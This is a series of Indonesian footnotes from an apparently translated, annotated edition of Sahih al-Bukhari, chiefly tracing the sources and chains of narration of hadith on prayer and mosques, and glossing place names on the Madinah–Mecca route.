Catatan Kaki:



[1] Ini adalah bagian dari hadits Ibnu Abbas yang panjang dan akan disebutkan secara maushul dengan lengkap pada Kitab ke-56 "al-Jihad", Bab ke-102.


[2] Di-maushul-kan oleh Imam Bukhari dalam "at-Tarikh" dan Abu Dawud dalam Sunan-nya dan lain-lainnya, dan disahkan oleh Ibnu Khuzaimah dan Ibnu Hibban, dan itulah yang lebih akurat. Hal ini dijelaskan di dalam Fathul Bari dan Shahih Abi Dawud (643).


[3] Menunjuk kepada hadits Muawiyah bahwa dia bertanya kepada saudara perempuannya, Ummu Habibah, "Apakah Rasulullah saw. pernah melakukan shalat dengan mengenakan pakaian yang dipergunakannya ketika melakukan hubungan seksual?" Ummu habibah menjawab, "Pernah, apabila beliau tidak melihat adanya kotoran padanya." Diriwayatkan oleh Abu Dawud dan disahkan oleh Ibnu Khuzaimah dan Ibnu Hibban. Hadits ini aku takhrij di dalam Shahih Abi Dawud (390).


[4] Ini adalah bagian dari hadits yang diriwayatkan secara maushul pada Kitab ke-65 "at-Tafsir", Bab ke-9 "Bara'ah", Bab ke-2 dari hadits Abu Hurairah.


[5] Di-maushul-kan oleh penyusun pada hadits nomor 203.


[6] Yakni hadits yang diriwayatkannya mengenai menyelimutkan pakaian (dalam shalat), dan yang dimaksudkan boleh jadi haditsnya dari Salim bin Abdullah, dari ayahnya, yang diriwayatkan oleh Ibnu Abi Syaibah dan lain-lainnya, atau dari Sa'id dari Abu Hurairah yang diriwayatkan oleh Ahmad dan lain-lainnya. Tampaknya perkataan "Menyilangkan...." itu adalah perkataan penyusun (Imam Bukhari) sendiri.


[7] Di-maushul-kan penyusun sendiri dalam bab ini tanpa perkataan "Dan menyilangkan ...", dan hadits ini diriwayatkan oleh Muslim (2/158) dan Ahmad (6/342) dari Ummu Hani'.


[8] Di-maushul-kan oleh Nu'aim bin Hammad di dalam manuskrip (tulisan tangan) nya yang terkenal dari jalan Hisyam dari al-Hasan dengan lafal yang hampir sama dengannya, dan diriwayatkan oleh Ibnu Abi Syaibah dari jalan lain darinya, dan sanadnya sahih.


[9] Di-maushul-kan oleh Abdur Razzaq dengan sanad sahih darinya. Al-Hafizh berkata, "Perkataannya 'dengan kencing' itu, apabila alif-lam ('al-' pada lafal 'a-baul') berfungsi lil-jinsi (menunjukkan jenis kencing secara umum), dapat diartikan bahwa dia telah mencucinya sebelum mengenakannya, dan jika 'al-' itu berfungsi 'lil-'ahdi' (mengikat), yang dimaksud ialah kencing binatang yang boleh dimakan dagingnya karena az-Zuhri berpendapat bahwa kencing binatang ini suci (tidak najis)."


[10] Di-maushul-kan oleh Ibnu Sa'ad darinya.



*1*) Saya [Sofyan Efendi] berkata, "Silakan lihat catatan kaki hadits no.782."


[11] Hadits Ibnu Abbas di-maushul-kan oleh Tirmidzi dan lainnya. Hadits Jarhad di-maushul-kan oleh Malik dan Tirmidzi serta dihasankannya dan disahkan oleh Ibnu Hibban. Adapun hadits Muhammad bin Jahsy di-maushul-kan oleh Ahmad dan lain-lainnya. Pada semua isnad-nya terdapat pembicaraan, tetapi sebagiannya menguatkan sebagian yang lain, dan aku telah men-takhrij-nya di dalam "al-Misykat" (3112-3114) dan "al-Irwa'" (269).


[12] Di-maushul-kan oleh penyusun di sini dan akan disebutkan pada Kitab ke-55 "al-Washaayaa", Bab ke-26.


[13] Ini adalah bagian dari suatu kisah yang di-maushul-kan oleh penyusun pada Kitab ke-62 "al-Fadhaail", Bab ke-6.


[14] Ini adalah bagian dari suatu hadits yang di-maushul-kan oleh penyusun dalam beberapa tempat, di antaranya Kitab ke-56 "al-Jihad" dan disebutkan di sana pada Bab ke-12.



[15] Di-maushul-kan oleh Abdur Razzaq (5033) darinya dan aku katakan bahwa sanadnya sahih.


[16] Di dalam riwayat Abu Ya'la, redaksinya tertulis, "Dan, sebagian kami tidak mengetahui keberadaan sebagian yang lain." Silakan periksa bukuku Hijabul mar'atil Muslimah, hlm. 30, cetakan ketiga, terbitan al-Maktab al-Islami.



[17] Tambahan ini merupakan sisipan dari perkataan Ibnu Syihab, sebagaimana penjelasan al-Hafizh.


[18] Di-maushul-kan oleh Imam Ahmad, Muslim, dan lain-lainnya. Hadits ini aku takhrij dalam Shahih Abi Dawud (848) dan Irwa'ul Ghalil (375).


[19] Al-Hafizh tidak men-takhrij-nya.


[20] Di-maushul-kan oleh Ibnu Abi Syaibah dan Sa'id bin Manshur dari dua jalan dari Abu Hurairah, yang keduanya saling menguatkan.


[21] Al-Hafizh tidak men-takhrij-nya.


[22] Pada hadits nomor 923 kitab ini disebutkan bahwa sebulan itu adakalanya tiga puluh hari dan adakalanya dua puluh sembilan hari. (Penj.)


[23] Di-maushul-kan oleh Ibnu Abi Syaibah dari keduanya.


[24] Di-maushul-kan oleh Ibnu Qutaibah di dalam naskah tangannya dengan riwayat Nasa'i dan Ibnu Abi Syaibah.


[25] Di-maushul-kan oleh Ibnu Abi Syaibah dan Said bin Manshur dengan sanad sahih darinya.


[26] Di-maushul-kan oleh penyusun pada bab sesudahnya dengan teks yang semakna dengannya dan diriwayatkan oleh Muslim dengan redaksi mu'allaq ini.


[27] Di-maushul-kan oleh Abdur Razzaq dan Ibnu Abi Syaibah dengan sanad sahih darinya dengan lafal, "Sesungguhnya, sahabat-sahabat Rasulullah saw. sujud sedang tangan mereka berada di dalam pakaian mereka, sedangkan seseorang dari mereka sujud di atas kopiah dan sorbannya."


[28] Ini adalah sebagian dari hadits Abu Humaid yang akan disebutkan secara lengkap dan maushul pada Kitab ke-10 "al-Adzan", Bab ke-144.


[29] Diriwayatkan secara maushul dari hadits Abu Ayyub (nomor 97), tanpa perkataan "buang air besar atau kencing" dan di-maushul-kan oleh Muslim (1/154) dengan tambahan ini.


[30] Ini adalah sebagian dari hadits tentang orang yang rusak shalatnya dari hadits Abu Hurairah dan penyusun me-maushul-kannya pada Kitab ke-79 "al-Isti'dzan", Bab ke-18.


[31] Imam Bukhari me-maushul-kannya pada Kitab ke-22 "as-Sahwu", Bab ke-88, tetapi tanpa perkataan "menghadapkan wajahnya ke arah orang banyak" karena perkataan ini terdapat dalam riwayat Imam Malik dalam al-Muwaththa' dari jalan Abu Sufyan, mantan budak Ibnu Abu Ahmad, dari Abu Hurairah. Akan tetapi, di situ disebutkan bahwa shalat tersebut adalah shalat ashar, dan isnad-nya sahih. Itu adalah riwayat penyusun (Imam Bukhari) dari riwayat Ibnu Sirin dari Abu Hurairah. Akan tetapi, aku terpaksa menjelaskan macam shalatnya ini sebagaimana akan Anda lihat nanti di sana, sehingga memungkinkan berpegang pada riwayat Abu Sufyan ini di dalam menguatkan riwayat Ibnu Sirin yang sesuai dengan ini. Wallahu a'lam.


[32] Di-maushul-kan oleh Ibnu Abi Syaibah darinya dengan sanad sahih.


[33] Kemungkinan, ini adalah lafal hadits Abu Said al-Khudri karena pada lafal Abu Hurairah terdapat sedikit perubahan redaksi kalimat dan akan disebutkan sebentar lagi. Karena itu, aku tidak memberinya nomor urut di sini.


[34] Di-maushul-kan oleh Ibnu Abi Syaibah yang semakna dengannya dalam suatu kisah.


[35] Al-Hafizh berkata, "Aku tidak melihatnya maushul."


[36] Di-maushul-kan oleh penyusun dari hadits Aisyah pada Kitab ke-23 "al Janaiz", Bab ke-61.


[37] Ini adalah bagian dari hadits yang panjang yang akan disebutkan secara maushul pada Kitab ke-96 "al-I'tisham", Bab ke-4.


[38] Di-mauhsul-kan oleh Ibnu Abi Syaibah dari dua jalan dari Ali.


[39] Di-maushul-kan oleh Abdur Razzaq.


[40] Di-maushul-kan oleh al-Baghawi dalam al Ja'diyyat.


[41] Boleh jadi, ini adalah lafal hadits Ibnu Abbas karena lafal hadits Aisyah sedikit berbeda dengan ini dan akan disebutkan pada Kitab ke-23 "al-Janaiz", Bab ke-62. Karena itu, aku tidak memberinya nomor tersendiri di sini.


[42] Di-maushul-kan oleh penyusun pada nomor 186.


[43] Riwayat mu'allaq ini di-maushul-kan oleh penyusun (Imam Bukhari) pada Kitab ke-4 "al-Wudhu" yang telah disebutkan di muka pada nomor 139.


[44] Ini adalah bagian dari hadits yang di-maushul-kan oleh penyusun pada Kitab ke-61 "al-Manaqib" Bab ke25 "Alamaun Nubuwwah fil-Islam".


[45] Ini adalah bagian dari hadits Ka'ab bin Malik yang panjang dalam kisah ketertinggalannya (keengganannya) ikut perang dan tobatnya, dan akan disebutkan secara maushul pada bagian-bagian akhir Kitab ke-64 "al-Maghazi", Bab ke-81.


[46] Ini adalah bagian dari haditsnya yang panjang tentang Lailatu1-Qadar dan akan disebutkan secara maushul pada Bab ke-134.


[47] AI-Hafizh tidak men-takkrij-nya.


[48] Di-maushul-kan oleh Abu Ya'la di dalam Musnad-nya dan Ibnu Khuzaimah di dalam Shahih-nya.


[49] Di-maushul-kan oleh Abu Dawud dan Ibnu Hibban dengan sanad yang kuat dan telah aku takhrij dalam Shahih Abi Dawud (474).


[50] Al-Hafizh berkata, "Yang benar, dia adalah seorang perempuan, yaitu Ummu Mihjan." Kisah lain yang mirip dengan ini terjadi pada seorang laki-laki yang bernama Thalhah ibnul-Barra, diriwayatkan oleh Ibnu Abbas. Silakan periksa pada Kitab ke-23 'al-Janaiz' , Bab ke-5.


[51] Di-maushul-kan oleh Ibnu Abi Hatim.


[52] Di-maushul-kan oleh Ma'mar dengan sanad sahih darinya.


[53] Akan disebutkan secara maushul pada Kitab ke-25 'al-Hajj', Bab ke-58.


[54] Al-Hafizh menisbatkan atsar ini di dalam kitab al-Libas kepada al-Ismaili dengan catatan sebagai tambahan terhadap riwayatnya pada akhir hadits yang sebelumnya, seakan-akan kehadirannya memang tidak di sini di sisi penyusun (Imam Bukhari).


[55] Al-Hafizh tidak men-takhrij-nya.


[56] Ini adalah bagian dari hadits mu'allaq yang akan disebutkan sesudahnya pada sebagian jalannya dan ia mempunyai saksi (penguat) dan hadits Abu Hurairah yang aku takkrij di dalam al-Ahaditsush Shahihah (206).


[57] Hadits ini mu'allaq dan di-maushul-kan oleh Ibrahim al-Harbi di dalam Gharibul Hadits dan Abu Ya'la di dalam Musnad-nya dan lainnya dengan sanad yang kuat, dan telah aku takhrij dalam kitab di atas (al-Ahaditsush Shahihah).


[58] Tampaknya yang dimaksud dengan perkataan "seperti ini" adalah menjalin jari-jari. Kelengkapan hadits sebagaimana yang diriwayatkan oleh orang yang kami sebutkan di atas adalah, "Mereka mudah mengobral janji dan amanat serta bersilang sengketa, maka jadinya mereka seperti ini," dan beliau menjalin jari-jari beliau....


[59] Riwayat tentang shalat ashar ini didukung oleh riwayat Malik dari jalan Abu Sufyan dari Abu Hurairah dan sudah disebutkan pada hadits mu'allaq pada nomor 86.


[60] Maksudnya boleh jadi, mereka bertanya kepada Ibnu Sirin yang meriwayatkan hadits ini dari Abu Hurairah, "Apakah dalam hadits itu diceritakan: Kemudian beliau salam?" Ibnu Sirin lalu menjawab, "Kami mendapat informasi...." Silakan periksa al-Fath.


[61] Sebuah perkampungan yang jaraknya dari Ruwaitsah sejauh 10 atau 14 mil.



[62] Bukit yang terletak di pertemuan jalan Madinah dan Syam, dekat Juhfah.


[63] Suatu lembah yang oleh masyarakat umum disebut dengan Bathn Muruw, yang jaraknya dengan Mekah sejauh 16 mil.


[64] Jamak dari Shafia', sebuah tempat yang terletak sesudah Zhahran.


[65] Suatu tempat di sebelah pintu Ka'bah yang disukai orang yang hendak masuk Mekah agar mandi di situ. Masalah mandi ini akan disebutkan dalam hadits Ibnu Umar pada Kitab ke-25 "al-Hajj", Bab ke-38.


[66] Al-Hafizh berkata, "Masjid-masjid ini sekarang sudah tidak diketahui lagi selain Masjid Dzil Hulaifah. Masjid-masjid yang ada di Rauha' dikenal oleh penduduk sekitar." Aku (al-Albani) berkata, "Menapaktilasi shalat di sana yang dilarang Umar itu bertentangan dengan perbuatan putranya (Ibnu Umar) dan sudah tentu Ibnu Umar lebih tahu karena terdapat riwayat yang menceritakan bahwa dia melihat orang-orang di dalam suatu bepergian lantas mereka bersegera menuju ke suatu tempat, lalu dia bertanya tentang hal itu. Mereka menjawab, 'Nabi Muhammad saw. pernah shalat di situ.' Dia berkata, 'Barangsiapa yang ingin shalat, silakan; dan barangsiapa yang tidak berminat, silakan jalan terus. Sesungguhnya, Ahli Kitab telah rusak karena mereka mengikuti tapak tilas nabi-nabi mereka, lantas menjadikannya gereja-gereja dan biara-biara.'" Aku katakan bahwa ini menunjukkan ilmu dan pengetahuannya radhiyallahu anhu dan Anda dapat menjumpai takkrij atsar ini beserta penjelasan tentang hukum menapaktilasi para nabi dan shalihin di dalam fatwa-fatwaku pada akhir kitab Jaziiratu Failika wa Khuraftu Atsaril Khidhri fiihaa" karya Ustadz Ahmad bin Abdul Aziz al-Hushain, terbitan ad-Darus Salafiyyah, Kuwait, halaman 43-57. Silakan periksa karena masalah ini sangat penting.


[67] Yakni tempat sujud beliau, dan perkataan al-Asqalani, "Yakni tempat beliau dalam shalat", adalah jauh dari kebenaran. Karena, tidak mungkin beliau biasa bersujud dalam jarak seperti ini. Kecuali, kalau dikatakan bahwa beliau mundur ketika sujud. Sebagian golongan Malikiah berpendapat seperti ini. Tetapi, pendapat ini ditentang oleh Abul Hasan as-Sindi rahimahullah. Di antara yang mendukung pendapat ini ialah kalau Rasulullah berdiri dalam jarak yang demikian dekat dengan dinding itu, sudah tentu jarak shaf yang ada di belakang beliau sekitar tiga bahu. Ini bertentangan dengan Sunnah dalam merapatkan barisan, dan bertentangan dengan sabda beliau, 'Berdekat-dekatanlah kamu di antara shaf-shaf." Hadits ini adalah sahih dan kami takhrij dalam Shahih Abi Dawud (673). Pendapat itu juga bertentangan dengan hadits Ibnu Umar yang tercantum pada nomor 283 akan datang.


[68] Saya katakan, "Riwayat ini menurut pendapat saya lebih sah sanadnya daripada yang pertama. Di dalam riwayat ini tidak terdapat kemusykilan seperti pada riwayat yang pertama. Riwayat ini didukung oleh hadits Salamah yang disebutkan sesudahnya. Bahkan, riwayat yang pertama itu syadz 'ganjil' sebagaimana saya jelaskan dalam Shahih Abi Dawud (693)."


[69] Al-Mihlab berkata, "Di antara dinding dengan mimbar masjid terdapat kesunnahan yang perlu diikuti mengenai tempat mimbar, agar dapat dimasuki dari tempat itu."


[70] Di-maushul-kan oleh Ibnu Abi Syaibah dan al-Humaidi dari jalan Hamdan dari Umar. Demikian penjelasan dalam Asy-Syarh.


[71] Di-maushul-kan oleh Ibnu Abi Syaibah juga dari jalan Muawiyah bin Qurrah bin Iyas al-Muzani, dari ayahnya, seorang sahabat, katanya, "Umar pernah melihat aku ketika aku sedang shalat..." Lalu ia menyebutkan seperti riwayat di atas.


[72] Al-Hafizh tidak melihatnya dari Utsman, melainkan dari Umar. Diriwayatkan oleh Abdur Razzaq (2396), dan Ibnu Abi Syaibah dan lain-lainnya dari jalan Hilal bin Yasaf dari Umar yang melarang hal itu. Perawi-perawinya tepercaya, tetapi isnadnya munqathi' 'terputus', Hilal tidak mendapati zaman Umar. Saya (Al-Albani) berkata, "Adapun hadits yang sering diucapkan oleh sebagian imam masjid di Damsyiq dengan lafal, "Maa aflaha wajhun shallaa ilaihi", maka saya tidak mengetahui asal-usulnya."